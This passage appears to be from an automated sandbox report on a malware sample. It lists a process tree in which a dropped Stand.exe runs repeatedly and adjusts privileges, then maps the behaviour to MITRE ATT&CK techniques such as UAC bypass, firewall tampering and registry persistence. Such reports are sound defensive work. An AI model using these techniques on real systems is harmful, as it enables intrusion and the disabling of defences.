- Suspicious use of AdjustPrivilegeToken
PID:3280

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:728

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2408

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1740

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2788

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefault56c02763h20c9h4243hb0c4h75da5559e69a
1⤵
- Suspicious use of WriteProcessMemory
PID:3676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff9dc3746f8,0x7ff9dc374708,0x7ff9dc374718
  2⤵
  PID:2640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1988,1223269892194788198,11112823150739072116,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2004 /prefetch:2
  2⤵
  PID:540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1988,1223269892194788198,11112823150739072116,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2464 /prefetch:3
  2⤵
  PID:2856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1988,1223269892194788198,11112823150739072116,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2732 /prefetch:8
  2⤵
  PID:3496

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1924

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4952

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4448

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:860

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2036

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5044

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4488

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4116

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:236

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4a8 0x50c
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4920

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4396

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3924

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

BITS Jobs

T1197

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

BITS Jobs

T1197

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery